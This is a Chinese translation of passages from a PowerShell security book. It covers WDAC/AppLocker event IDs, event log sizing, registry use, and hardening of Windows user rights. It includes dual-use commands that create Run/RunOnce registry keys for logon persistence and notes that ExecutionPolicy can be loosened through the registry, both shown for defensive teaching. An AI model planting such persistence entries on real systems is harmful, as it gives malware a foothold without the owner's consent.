Windows Defender 应用控制WDAC)和AppLocker可用于允许列应用程序,以限制组织内允许使用的软件。两种解决方案都有助于防止未经授权的软件使用。

我们将在第十一章中更详细地了解 WDAC 和 AppLocker,AppLocker、应用控制和 代码签名

启用允许列表解决方案时,审计是第一步,因此,分析与 WDAC 和 AppLocker 相关的事件 ID 对于此过程至关重要。

Windows Defender 应用控制(WDAC)

WDAC 是微软最新的允许列表解决方案,随着 Windows 10 推出,并且之前被称为设备保护(Device Guard)。除了允许列应用程序外,WDAC 还可用于在 Windows 机器上强制实施代码完整性策略。

WDAC 有两个主要的事件日志——一个名为MSI 和脚本的事件日志与 AppLocker 共享,另一个事件日志用于记录代码完整性相关的事件。

代码完整性

  • 完整名称Microsoft-Windows-CodeIntegrity/Operational

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

  • 界面路径:**应用程序和服务日志 | **Microsoft** | **Windows** | **CodeIntegrity** | **Operational

PowerShell 安全日志中这个事件日志最有趣的事件 ID如下:

  • 事件 ID 3001未签名的驱动程序尝试在系统上加载。

  • 事件 ID 3023验证中的驱动程序文件未满足通过应用程序 控制策略的要求。

  • 事件 ID 3033验证中的文件未满足通过应用程序 控制策略的要求。

  • 事件 ID 3034如果执行了应用程序控制策略,验证中的文件未满足通过该策略的要求。由于该策略处于审核模式,文件被允许。

  • 事件 ID 3064如果应用程序控制策略已执行,验证中的用户模式 DLL 未满足通过应用程序控制策略的要求。由于该策略处于审核模式,DLL 被允许运行。

  • 事件 ID 3065如果应用程序控制策略已执行,验证中的用户模式 DLL 未满足通过应用程序 控制策略的要求。

  • 事件 ID 3076此事件是审核模式策略的主要应用程序控制阻止事件。它表明,如果执行策略,该文件将被阻止。

  • 事件 ID 3077此事件是执行策略的主要应用程序控制阻止事件。它表示该文件未通过你的策略并被 阻止。

你可以使用 Get-WinEvent Microsoft-Windows-CodeIntegrity/Operational 查询 WDAC 日志中的所有事件。监视和分析这些事件可以帮助识别潜在的安全漏洞,并改善系统的整体安全态势。

MSI** 和脚本**

所有与 Microsoft 安装程序和脚本相关的事件 ID 都可以在此事件日志中找到:

  • 完整名称Microsoft-Windows-AppLocker/MSI** 和脚本**

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-AppLocker%4MSI** 和脚本.evtx**

  • 界面路径应用程序和服务日志| **Microsoft** | **Windows** | **Applocker** | **MSI**和脚本

PowerShell 安全日志中最有趣的事件 ID如下:

  • 事件 ID 8028* 被允许运行,但如果执行了配置 CI 策略,则将被阻止。**

  • 事件 ID 8029* 由于配置 CI 策略,未能运行。**

  • 事件 ID 8036* 由于配置 CI 策略,未能运行。**

  • 事件 ID 8037* 通过了配置 CI 策略并被允许 运行。**

如果你想了解更多关于应用控制的事件 ID,可以查看 AppLocker 部分以及以下文档:learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/event-id-explanations

AppLocker

说到 AppLocker,根据使用场景的不同,你可能需要查看四个事件日志文件——EXE 和 DLLMSI 和脚本打包应用-部署,和 打包应用-执行

在 UI 中,你可以在相同的路径下找到所有四个日志——只需将 <日志名称> 替换为每个事件日志的名称,如下所示:

UI 中的路径应用程序和服务| **Microsoft** | **Windows** | **AppLocker** |<日志名称>

以下是每个与 AppLocker 相关的事件日志的完整名称和路径(请注意,必须启用审计才能显示这些事件日志):

  • EXE** 和 DLL**

所有与执行二进制文件(EXE)和 DLL 相关的事件 ID 都可以在此事件日志中找到:

  • 完整名称Microsoft-Windows-AppLocker/EXE** 和 DLL**

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-AppLocker%4EXE** 和 DLL.evtx**

  • MSI** 和脚本**

所有与 Microsoft Installer 和脚本相关的事件 ID 都可以在此事件日志中找到:

  • 完整名称Microsoft-Windows-AppLocker/MSI** 和脚本**

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-AppLocker%4MSI** 和脚本.evtx**

  • 打包应用-部署

如果部署了打包应用,你可以在此事件日志中找到所有相关的事件 ID:

  • 完整名称Microsoft-Windows-AppLocker/Packaged app-Deployment

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx

  • 打包应用-执行

所有与打包应用执行相关的事件 ID 可以在此事件日志中找到。

  • 完整名称Microsoft-Windows-AppLocker/Packaged app-Execution

  • 日志路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx

对于 PowerShell 安全日志记录而言,这些事件日志中最有趣的事件 ID 如下:

  • 事件 ID 8000(错误):*应用身份策略转换失败。状态 <%1> 这表示策略未正确应用于计算机。状态消息用于 故障排除目的。

  • 事件 ID 8001(信息)AppLocker 策略已成功应用于此计算机。这表示 AppLocker 策略已成功应用于 该计算机。

  • 事件 ID 8002(信息)<文件名> 被允许运行。这表示该 .exe 或 .dll 文件被 AppLocker 规则允许。

  • 事件 ID 8003 (警告)<文件名> 被允许运行,但如果启用了 AppLocker 策略,则会被阻止运行。仅在启用了“仅审核”执行模式时应用。它指定,如果启用了强制规则执行模式,则该 .exe 或 .dll 文件将被阻止运行。

  • 事件 ID 8004 (错误)<文件名> 未被允许运行。访问 <文件名> 被管理员限制。这仅在强制规则执行模式直接或通过组策略继承间接设置时应用。该 .exe 或 .dll 文件 无法运行。

  • 事件 ID 8005 (信息)<文件名> 被允许运行。这表示该脚本或 .msi 文件被 AppLocker 规则允许运行。

  • 事件 ID 8006 (警告)<文件名> 被允许运行,但如果启用了 AppLocker 策略,则会被阻止运行。仅在启用了“仅审核”执行模式时应用。它指定,如果启用了强制规则执行模式,则该脚本或 .msi 文件将被阻止运行。

  • 事件 ID 8007 (错误)<文件名> 未被允许运行。访问 <文件名> 被管理员限制。这仅在强制规则执行模式直接或通过组策略继承间接设置时应用。该脚本或 .msi 文件 无法运行。

  • 事件 ID 8008 (错误)AppLocker 在此 SKU 中被禁用。此功能在 Windows Server 2012 和 Windows 8 中添加。

如果你有兴趣了解更多关于 AppLocker 事件 ID 的信息,请参考以下链接:learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/using-event-viewer-with-applocker

当然,还有许多其他有趣的日志文件,例如 防火墙DSC。提到并描述所有这些文件会超出本书的内容,因此我只在涉及 PowerShell 安全时提到了其中一些最有趣的日志文件。

增加日志文件大小

每生成一个事件,日志文件就会增长。由于数千个事件可以在非常短的时间内写入,因此增加日志文件的最大大小非常有用——尤其是当你也希望在本地分析事件时。

当然,始终建议将日志转发到中央日志库,以确保日志不会丢失。但是,如果你希望在本地分析事件,增加日志文件大小也很有帮助。

Limit-EventLog cmdlet 可以帮助你在 Windows PowerShell 中完成此任务:

> Limit-EventLog -LogName "Windows PowerShell" -MaximumSize 4194240KB

此命令将 PowerShell 日志的最大大小设置为 4 GB。请注意,"MB" 和 "GB" 前缀也可以在此 cmdlet 中使用。

设置事件日志的最大大小时,重要的是要记住,事件日志条目的大小可能会有所不同,这取决于特定的事件日志和启用的事件数量。看看在你的环境中,一个事件通常占用多少空间。首先,你需要获取事件日志的日志大小。以下命令返回 KB 中 Windows PowerShell 事件日志的最大大小:

> – Get-ItemProperty -Path  'HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\' -Name 'MaxSize' | Select-Object -ExpandProperty MaxSize

然后,将其除以条目的数量。这样你就可以计算出事件日志的预估大小,以及在事件日志被轮换之前,它应该能容纳多少个事件。

如果你使用的是 PowerShell 7,Limit-EventLog cmdlet 是不可用的。相反,你需要通过使用 New-ItemProperty 来修改注册表:

> New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\' -Name 'MaxSize' -Value 4000MB -PropertyType DWORD -Force

使用 Limit-EventLog 命令,你还可以指定当事件日志已满时的行为:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/limit-eventlog

总结

在本章中,你学习了如何开始使用 PowerShell 的安全日志记录。你现在知道哪些事件日志是需要关注的,以及应该查找哪些事件 ID。由于安全监控是一个庞大的主题,你仅学习了如何开始和继续的基础知识。

你学习了如何为 Windows PowerShell 和 PowerShell Core 配置 PowerShell 模块日志记录、脚本块日志记录和 PowerShell 转录——无论是手动配置还是集中配置。

另一个重要的学习点是日志事件可能会被篡改,你可以通过使用受保护的事件日志来实施一定程度的保护。

最终,最好的做法是将你的日志事件转发到一个集中的 SIEM 系统,但如果这不可行,你也学会了如何使用 PowerShell 分析事件。

现在你已经获得了一些示例脚本和代码片段,你准备好调查客户端和服务器上的所有 PowerShell 活动了。

最后,如果你想更深入地了解安全监控,EventList 可以帮助你找出哪些事件是值得监控的。

当我们谈论审计、检测和监控时;本地系统也不可忽视。让我们深入探讨系统,并看看 Windows 注册表、Windows API、COM、CIM/WMI,及如何在不运行 powershell.exe 的情况下运行 PowerShell,下一章会介绍这些内容。

深入阅读

如果你想探索本章中提到的一些主题,可以参考以下资源:

你也可以在本章的 GitHub 仓库中找到所有提到的链接,无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter04/Links.md

第二部分:深入挖掘 – 身份、系统访问和日常安全任务

让我们深入探讨并将 PowerShell 与其他技术结合起来。本部分的技术章节主要探讨攻击者如何枚举、绕过、劫持和危及关键组件,如操作系统本身、Active Directory 以及 Azure AD/Entra ID。2023 年 7 月 11 日,微软将 Azure AD 更名为 Entra ID。由于这一变化在本书发布前刚刚宣布,因此在本部分我们将仅称其为 Azure Active Directory、Azure AD 或 AAD。本部分不仅对红队成员感兴趣,对蓝队成员同样重要,因为他们希望了解敌手如何试图滥用这些已建立的解决方案,以保护自己免受此类攻击。此外,你还将获得大量关于概念、协议、缓解措施以及更多有趣见解的实用信息。

我们将首先探讨 PowerShell 访问系统的能力:我们不仅会研究如何使用注册表和 WMI,还会了解如何利用 .NET 以及原生 Windows API,以及如何从 PowerShell 编译和运行自定义 DLL 和非托管代码。曾经想过如何在不调用 powershell.exe 的情况下运行 PowerShell 吗?别担心——通过本部分的学习,你将知道答案。

在 Active Directory 章节中,我们将深入探讨枚举——无论是否使用 Active Directory PowerShell 模块——以及访问权限、认证协议、凭证窃取和缓解策略。我们还将研究推荐的微软安全基线和安全合规工具包。

说到 Active Directory,Azure AD 自然也在其中;因此,我们还将从 PowerShell 安全的角度来研究这项技术。Azure AD 安全并不是一个广为人知的话题,在本章中,你将学习如何区分 Active Directory 和 Azure AD 以及 Azure AD 的基本概念。你将了解哪些帐户和角色是攻击者的有用目标,并且如何枚举 Azure AD。最后,我们将探讨几种凭证窃取技术,并讨论如何进行缓解。

第八章第九章 中,本书还为你提供了红队和蓝队的操作手册。两部分首先探讨了常见的 PowerShell 工具及其应用,然后提供了许多实用的 PowerShell 代码片段,你可以根据自己的需求使用这些片段——无论你是红队还是蓝队成员。

本部分包括以下章节:

  • 第五章PowerShell 强大 – 系统和 API 访问

  • 第六章Active Directory – 攻击与缓解

  • 第七章黑客入侵云端 – 利用 Azure Active Directory/Entra ID

  • 第八章红队任务与手册

  • 第九章蓝队任务与手册

第五章:PowerShell 强大——系统和 API 访问

当你以为 PowerShell 已经是一个强大的工具时,准备好惊讶于它深入系统的能力。在本章中,我们将探索如何使用 PowerShell 访问系统和 API。

我们将从 Windows 注册表开始,了解如何利用 PowerShell 轻松访问其键和值。接着,我们将深入 .NET 框架和 Windows API,你将学习如何直接从 PowerShell 执行 C# 代码。

接下来,我们将探索 Windows 管理工具(WMI),它可以用来通过标准接口访问和管理各种系统资源,包括硬件、软件、网络组件以及其他对象。PowerShell 使得与 WMI 交互、自动化任务和操作数据变得简单。

在本章中,你还将学习如何在不执行 powershell.exe 的情况下运行 PowerShell 命令。你将学习如何直接在其他应用程序中,甚至在内存中运行 PowerShell 代码。

你将学习如何识别潜在威胁并保护你的环境免受这些类型的攻击。所以,准备好发现 PowerShell 在系统和 API 访问方面的强大功能吧。让我们开始吧!本章将涵盖以下内容:

  • 熟悉 Windows 注册表

  • Windows API 基础知识

  • 探索 .NET 框架

  • 了解 组件对象模型(COM) 和 COM 劫持

  • 通用信息模型(CIM)/WMI

  • 无需 powershell.exe 运行 PowerShell

技术要求

为了充分利用本章的内容,请确保你具备以下条件:

熟悉 Windows 注册表

Windows 注册表在 Windows 3.1 中引入。尽管当时它主要存储 COM 基于组件的信息,但它随着时间的推移得到了发展。如今,它作为我们熟知的层次化数据库——存储 Windows 操作系统的低级配置设置以及在其上运行的应用程序的配置。

虽然你可以通过多种方式访问注册表,但本节将重点介绍如何使用 PowerShell 访问和操作注册表。

现代系统的 Windows 注册表通常由五个根键组成。每个根键都有各自的目的,并包含不同的设置:

  • HKEY_CLASSES_ROOT** (HKCR**): 此根键下的分支包含有关 COM 类注册信息和文件关联的信息。

  • HKEY_CURRENT_USER** (HKCU**): 包含特定于当前登录用户的设置。从技术上讲,此根键只是一个符号链接,指向 HKU\<CurrentUserSid>\

  • HKEY_LOCAL_MACHINE** (HKLM**): 特定于本地计算机的设置。

  • HKEY_USERS** (HKU**): 每个活动加载在机器上的用户配置文件的子键(类似于 HKEY_CURRENT_USER,但不仅限于当前登录用户)。

  • HKEY_CURRENT_CONFIG** (HKCC**): 此根键下的分支本身不存储任何信息,而是作为指向保留有关当前硬件配置文件信息的注册表键的指针。

PowerShell 将注册表视为虚拟驱动器;您可以使用与导航和编辑文件和文件夹相同的命令访问和修改它。

使用注册表

使用 Get-PSDrive cmdlet,您可以获取当前会话的所有驱动器。如果进一步检查输出,您会看到不仅列出了系统驱动器。HKCUHKLM 注册表根键也可以在此处找到:

图 5.1 – 使用 Get-PSDrive 查找 HKCU 和 HKLM 注册表根键

图 5.1 – 使用 Get-PSDrive 查找 HKCU 和 HKLM 注册表根键

由于像 HKCUHKLM 这样的 PSDrive 被视为常规文件驱动器,因此您可以使用 Set-Location(或等效的别名 cd)以及 Get-ChildItem(或别名 ls)来浏览它们以列出文件夹的内容,这并不奇怪。

在下面的示例中,我从注册表中查询当前的 Windows PowerShell 版本:

图 5.2 – 浏览注册表

图 5.2 – 浏览注册表

在前面的屏幕截图中,您可以看到所有子注册表键(名称),以及属于每个注册表键的所有注册表条目(在此上下文中也称为 Property)。

通过使用 Registry:: 后跟要查询的根键,还可以浏览注册表的其他位置,而不仅限于列出的驱动器。在下面的屏幕截图中,我使用 Foreach-Object 显示所有子注册表键的键名:

图 5.3 – 使用 Registry:: 前缀浏览注册表

图 5.3 – 使用 Registry:: 前缀浏览注册表

使用注册表键类似于处理文件和文件夹,但在处理注册表条目时仍然存在差异。它们不仅由键组成,还包括属性和值,正如您可以在下面的屏幕截图中看到的:

图 5.4 – 使用 Get-Item 显示注册表键的属性和值

图 5.4 – 使用 Get-Item 显示注册表键的属性和值

当处理具有大量子键和属性的注册表键时,你可能希望快速获取所有子键的列表。你可以通过使用 ForEach-Object Name 来实现:

图 5.5 – 显示所有子注册表键

图 5.5 – 显示所有子注册表键

在这张截图中,我们首先使用 Set-Location cmdlet 将工作目录更改为 HKLM:\SOFTWARE\Microsoft\Windows\,然后使用 Get-ChildItem 查询注册表。这样,如果你想在该位置执行进一步的命令,就不需要一遍又一遍地输入完整路径了。

如果你不确定某个特定的注册表键的位置,可以像使用以下命令搜索驱动器上的特定文件一样,递归查询注册表:

> Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\PowerShell" -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -like "*PowerShellEngine*"}

使用 New-Item cmdlet,你可以创建一个新的注册表键,而使用 Remove-Item,你可以删除一个或多个注册表键,如下图所示:

图 5.6 – 创建和删除注册表键

图 5.6 – 创建和删除注册表键

使用 Remove-Item-Recurse 参数,可以递归删除注册表键及其子键,而无需确认提示。

注册表条目属性

你现在已经知道如何操作注册表键和如何显示它们的属性,但当涉及到注册表时,你还需要了解如何操作属性。

如前所述,虽然操作注册表类似于处理文件和文件夹,但在注册表条目的属性方面存在一些差异:文件有 LastWriteTime 等属性,而注册表条目则有其独特的属性集。

获取属性的快捷方法之一是使用 Get-Item,但还有另一个 cmdlet 可以帮助你获取更多细节 —— Get-ItemProperty

图 5.7 – 使用 Get-ItemProperty 显示注册表条目

图 5.7 – 使用 Get-ItemProperty 显示注册表条目

通过使用 *-ItemProperty cmdlets,你还可以管理注册表条目。例如,要创建一个新的注册表条目,New-ItemProperty cmdlet 可以帮助你。以下截图中,我为所有用户创建了一个新的启动文件夹条目,并使用 Remove-ItemProperty 删除了它:

图 5.8 – 创建和删除新的注册表条目

图 5.8 – 创建和删除新的注册表条目

还可以通过使用 Set-ItemProperty cmdlet 更改注册表条目。以下示例演示了如何使用 Set-ItemProperty 修改现有的启动项条目以更改脚本的路径:

图 5.9 – 修改注册表条目

图 5.9 – 修改注册表项

顺便说一下,攻击者也喜欢创建启动项!例如,这是建立持久性的一种方式。所以,如果你在 PowerShell 日志中遇到类似于前面代码的内容,而你自己并未创建它,那可能是攻击者试图修改启动项以运行他们的恶意软件,而不是其原本预定的目的。

你可以通过以下帮助系统命令获得更多关于如何使用 PowerShell 操作注册表的信息:

  • Get-Help Registry

  • Get-Help about_Providers

此外,了解如何使用注册表进行安全性相关操作对防守者至关重要。接下来让我们探讨一些最常见的使用场景。

安全性使用场景

攻击者查询或尝试修改注册表的使用场景有很多种——防守者也应该熟悉这些场景。让我们先来探索一些最常见的场景。

侦察

攻击者经常访问注册表以了解更多关于当前目标系统的信息:是否在使用反恶意软件解决方案,攻击者的代码是否需要额外的步骤来避免被检测到?是否有备份解决方案可以防止勒索软件攻击成功?

注册表也常常被查询,以了解更多关于系统和配置的(安全)选项。有些对手还会尝试找出当前执行代码的系统是否是虚拟机VM)或沙箱

虚拟机(VM)是一个模拟计算机,它托管在另一个计算机上,即虚拟机监控程序(hypervisor)。它不需要自己的硬件,因为它与许多其他虚拟机共享虚拟机监控程序的硬件。沙箱是一个系统,通常由安全研究人员甚至反恶意软件解决方案使用,用来引爆潜在的恶意软件并测试它的行为以及是否真的是恶意的。攻击者通常希望避免其软件在虚拟机或沙箱中运行,因为这可能意味着有人正在分析他们的恶意软件,并建立防护措施来应对它。

如果是这种情况,并且恶意软件是在虚拟机(VM)或沙箱中执行的,它通常会被实现为使软件的行为与在真实用户使用的物理工作设备上执行时不同——以此来复杂化其代码的逆向工程,从而延长其保持隐蔽的时间。

回到注册表——将凭证存储在注册表中是一个非常不好的做法,应该避免。然而,仍然有管理员和软件供应商以非常不安全的方式使用注册表存储凭证。因此,攻击者曾被观察到查询注册表以检索凭证。

一些恶意软件甚至会将注册表用于它们自己的目的,设置并查询它们自己的注册表树或键。

请记住,当你在寻找侦察证据时,攻击者也有其他(编程)选项来查询注册表——例如reg.exe命令行工具或 WMI。

执行策略

第一章《PowerShell 入门》中,我们了解到ExecutionPolicy限制了在本地计算机上执行脚本—尽管这并不是一种安全控制。然而,ExecutionPolicy的状态也可以通过注册表查询或修改:

图 5.10 – 使用注册表更改 Windows PowerShell ExecutionPolicy

图 5.10 – 使用注册表更改 Windows PowerShell ExecutionPolicy

使用注册表更改ExecutionPolicy只对 Windows PowerShell 有效。因此,你可以在前面的截图中看到,首先,Windows PowerShell 的ExecutionPolicy显示为Restricted,但在配置注册表条目后,它变为Unrestricted

PowerShell Core 的ExecutionPolicy定义在以下文件中:C:\Program Files\PowerShell\7\powershell.config.json

持久性

攻击者尝试编辑注册表的另一个原因是为了建立持久性:建立持久性的常见方法之一是添加启动项。这可以通过在当前用户或所有用户的启动文件夹中添加链接来完成。

另一种通过启动项建立持久性的方式是通过在以下启动项注册表位置之一下添加RunRunOnce注册表键:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\

  • HCU\.DEFAULT\Software\Microsoft\CurrentVersion\

请注意,.DEFAULT也可以替换为相应文件夹下HKEY_USERS中的用户安全标识符SIDs)。

Run键在每次用户登录时执行程序,而RunOnce键只执行一次程序,然后删除该键。这些键可以为用户或计算机设置。

例如,要为当前用户设置一个RunOnce键,在用户登录后执行脚本一次,你可以使用以下代码:

> New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ -Name "HelloWorld" -Value "C:\Users\ADMINI~1\AppData\Local\Temp\HelloWorld.ps1"

要为本地计算机设置一个Run键,使其在每次启动计算机时执行脚本,请使用以下命令:

> New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name "HelloWorld" -Value "C:\Users\ADMINI~1\AppData\Local\Temp\HelloWorld.ps1"

此外,攻击者还可以通过直接写入他们各自的Run**/**RunOnce键到HKU\<TargetSID>\Software\Microsoft\CurrentVersion\下的相应位置,来在其他用户的启动项下建立持久性,前提是他们拥有必要的权限。

现在我们已经探讨了 Windows 注册表,让我们深入了解与安全性相关的另一个重要部分:本地用户权限。

用户权限

用户权限在企业环境中发挥着重要作用:例如,你可以配置谁可以登录哪个系统,以及谁可以做什么。配置错误可能导致严重的身份盗窃和横向移动风险。

对手可以利用它来查明哪些帐户值得被攻击,以提升他们的特权。

你可以在官方文档中找到所有用户权限的详细概述:docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/user-rights-assignment

我知道文档内容非常庞杂,如果你还没有用户权限的经验,可能会很快迷失其中。因此,让我来解释一些最常见的安全相关用户权限,我经常看到它们被错误配置。

配置访问用户权限

通常来说,登录权限非常重要,如果允许过多的用户或组访问敏感系统,可能会带来安全隐患。许多默认权限在系统安装时已被预设,并且可能需要修改以加固系统安全。

根据你为其配置此策略的机器类型,你可能需要限制本地登录或通过远程桌面登录的能力,只允许用户和/或特定的管理员帐户:

  • 从网络访问此计算机(SeNetworkLogonRight):对于域控制器DC),所有经过身份验证的用户都需要访问域控制器以应用组策略,因此需要配置管理员已验证用户访问域控制器。移除内建组。

移除所有人用户以及成员服务器的内建组。对于客户端计算机,仅允许用户和管理员登录。

  • 允许本地登录(SeInteractiveLogonRight):移除访客和内建组。如果是域控制器或成员服务器,还需要移除用户

  • 允许通过远程桌面 服务(SeRemoteInteractiveLogonRight) 登录

  • 作为批处理作业登录(SeBatchLogonRight)

  • 作为服务登录(SeServiceLogonRight)

拒绝规则会覆盖允许权限:无论你配置了什么样的允许规则,如果拒绝规则禁止访问,相关用户将无法登录或访问机器:

  • 拒绝通过网络访问此计算机(SeDenyNetworkLogonRight)

  • 拒绝作为批处理作业登录(SeDenyBatchLogonRight)

  • 拒绝作为服务登录(SeDenyServiceLogonRight)

  • 拒绝本地登录(SeDenyInteractiveLogonRight)

  • 拒绝通过远程桌面 服务(SeDenyRemoteInteractiveLogonRight) 登录

这些规则可以帮助你在环境中建立一个稳固的分层概念。

除非你的特定配置要求,否则不要移除访客拒绝登录/访问权限。

通过备份和恢复权限来降低风险

备份和恢复权限非常强大,因为它们允许用户访问和修改通常无法访问的文件和目录。在关键系统(如域控制器)上,仔细评估哪些用户配置了这些权限非常重要。这些权限可能会让攻击者提取敏感信息,具体如下:

  • 备份文件和 目录(SeBackupPrivilege)

  • 恢复文件和 目录(SeRestorePrivilege)

重要的是要注意,备份权限允许用户读取任何文件,无论他们的正常权限是什么。这意味着拥有备份权限的用户也可能访问敏感信息,例如,在 DC 上的ntds.dit数据库文件中存储的密码哈希。另一方面,恢复权限允许用户写入任何文件,这可能被用来植入恶意代码或修改关键系统文件。

默认情况下,内置的备份操作员组被分配了这两项权限。如果你打算删除该组,请小心,因为某些备份软件依赖该组才能正常运行。尽可能地,将备份和恢复权限仅分配给特定的用户或组,而不是依赖于内置的备份 操作员组。

委派和 impersonation(身份冒充)

拥有委派权限的人可以将权限委派给另一个帐户。身份冒充允许冒充另一个帐户,通常由 Web 服务器在用户上下文中访问资源。如果配置错误,这两者可能会带来严重后果:

  • 启用计算机和用户帐户信任委派(SeEnableDelegationPrivilege): 如果一个帐户被信任进行委派,这意味着该帐户可以设置信任委派设置。一旦设置,这项设置将允许在保持原始帐户凭证的情况下连接到多个服务器或服务。Web 服务器需要使用原始凭证连接到数据库或数据共享,这是一个合理的信任 委派的用例。

然而,除非某些软件确实需要,否则你应该避免配置此项权限。

  • 身份冒充客户端(身份验证后)(SeImpersonatePrivilege): 身份冒充允许服务或线程在不同的安全上下文下运行。如果配置错误,这种能力可能使攻击者欺骗客户端连接到攻击者创建的服务,然后冒充连接的客户端来提升攻击者的权限。

  • 作为操作系统的一部分(SeTcbPrivilege): 该权限允许帐户控制系统并充当任何用户。此设置决定一个进程是否可以获得任何用户的身份,从而访问该用户可以使用的资源。

防止事件日志篡改

如果你可以访问审计和安全日志,你可以篡改它并隐藏你的痕迹。以下设置会影响对审计和安全日志的访问,应该小心配置:

  • 生成安全审计SeAuditPrivilege):尽管此权限仅允许生成新事件,但攻击者可以制造大量噪音,使他们的攻击尝试未被注意到,尤其是在公司未转发事件日志且在达到一定数量后会删除日志的情况下。

  • 管理审计和安全日志SeSecurityPrivilege):如果您可以管理事件日志,那么您肯定也能删除它们。请在系统事件日志中查找事件 ID 104。有关监控和检测的更多信息,请参阅 第四章检测 – 审计与监控

防止 Mimikatz 和凭证窃取

Mimikatz 和其他用于凭证窃取的工具通常需要调试程序的权限或加载内核模式驱动程序的权限。以下设置通常是 Mimikatz 等工具提取凭证时所需的:

  • 调试程序SeDebugPrivilege):关于调试程序权限的一个常见误解是,开发人员需要此权限来调试他们的软件。其实并非如此。调试程序权限允许访问本应受到保护的操作系统内存,实际上提供了对程序执行的控制能力以及读取和写入内存的能力。像 Mimikatz 这样的工具,访问 本地安全机构LSA)以提取凭证,需要此权限才能正常工作。

通常情况下,您的管理员不需要此用户权限,因此,即使是管理员也可以安全地撤销此权限。

请注意,管理员可以将此权限分配给自己;因此,移除此权限并监控其变更非常重要。通过这种方式,您可以发现凭证窃取攻击开始的迹象。

  • 加载和卸载设备驱动程序SeLoadDriverPrivilege):此权限使用户帐户能够加载内核模式驱动程序。由于这些驱动程序位于内核模式内存中,因此它们可以用于读取或篡改其他内核模式内存,类似于调试程序权限。授予此用户权限时请谨慎。

系统和域访问

获取系统访问权限或将计算机添加到域对于攻击者来说非常有价值。以下设置与这些场景相关:

  • 将工作站添加到域SeMachineAccountPrivilege):此权限允许用户将工作站添加到域中。

时间篡改

操作系统的时间篡改默认情况下不被视为安全漏洞,并且不应与 时间戳篡改 混淆,后者涉及修改文件创建、访问、修改等时间戳。然而,重要的是要意识到,某些程序在系统时间被篡改时可能会遇到问题,且不正确的时间戳可能导致在事件日志分析过程中得出不准确的结论。为了避免这些情况,以下设置应谨慎配置:

  • 更改系统 时间SeSystemtimePrivilege

  • 更改时间 时区SeTimeZonePrivilege

当然,这只是我见过的多数配置错误的用户权限的总结,并非完整列表。请参考官方文档并跟随链接阅读有关每个用户权限的更多信息:docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/user-rights-assignment

如果您想了解哪些内置组默认分配了哪些用户权限,以下文档会非常有帮助:docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn487460(v=ws.11)

您也可以使用Policy Analyzer来分析并将您的设置与官方的 Microsoft 推荐进行比较。我们将在第6 章中进一步探讨 Policy Analyzer,章节内容包括Active Directory – 攻击与缓解

但是,Policy Analyzer 并不是分析和比较用户权限分配的唯一方式——接下来我们将看看如何验证已设置的权限以及如何配置它们。

检查和配置用户权限

如果您想检查本地计算机上配置了哪些用户权限,可以运行以下命令:

> SecEdit.exe /export /areas USER_RIGHTS /cfg $Env:Temp\secedit.txt

如果您想导出本地和域管理的合并策略,可以使用/****mergedpolicy参数:

> SecEdit.exe /export /mergedpolicy /areas USER_RIGHTS /cfg $Env:Temp\secedit.txt

所有当前的用户权限将被写入$Env:Temp\secedit.txt。在[Privilege Rights]部分,您可以找到所有已配置的权限分配。使用secedit时,仅会显示 SIDs,因此您需要将其转换为真实的用户账户名称。

图 5.11 – secedit 文件中的权限设置

图 5.11 – secedit 文件中的权限设置

您可以在官方文档中找到更多关于secedit的其他参数和使用信息:docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb490997(v=technet.10)

我编写了一个脚本,Get-UserRightsAssignment,它可以帮助您将 SIDs 转换为账户名称,并简化用户权限的处理。您可以使用-Path参数指定一个自定义位置,保存secedit生成的文件:

> Get-UserRightsAssignment.ps1 -Path C:\tmp\secedit.txt

secedit文件将在脚本执行完毕后删除。如果没有指定-Path,默认路径将是$env:TEMP\secedit.txt。由于脚本使用了secedit工具,您需要具有管理员权限才能执行该脚本。

你可以在本书的 GitHub 仓库中找到并下载Get-UserRightsAssignment脚本:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Get-UserRightsAssignment.ps1

你还可以使用组策略配置环境中多个计算机和/或服务器的用户权限分配。

创建一个新的组策略对象GPO),并导航至计算机配置 | Windows 设置 | 安全设置 | 本地策略 | 用户权限分配

图 5.12 – 通过组策略配置用户权限分配

图 5.12 – 通过组策略配置用户权限分配

双击每个你想要配置的策略设置。会打开一个窗口。要配置该设置,勾选定义这些策略设置框,并使用添加用户或组来添加额外的用户或组,如下截图所示:

图 5.13 – 配置本地登录权限设置

图 5.13 – 配置本地登录权限设置

解释标签下,你可以找到更多关于此设置的功能说明,并且通常还会有一些有用的链接,提供更多关于此设置的详细信息。

如果你配置了用户权限分配并在系统上评估 GPO,你会发现一个类似的文件被创建,就像你手动创建它一样。你可以使用它来比较设置,或者将一个手动预配置的secedit文件放在这里,避免通过 GPO 界面手动配置所有设置。

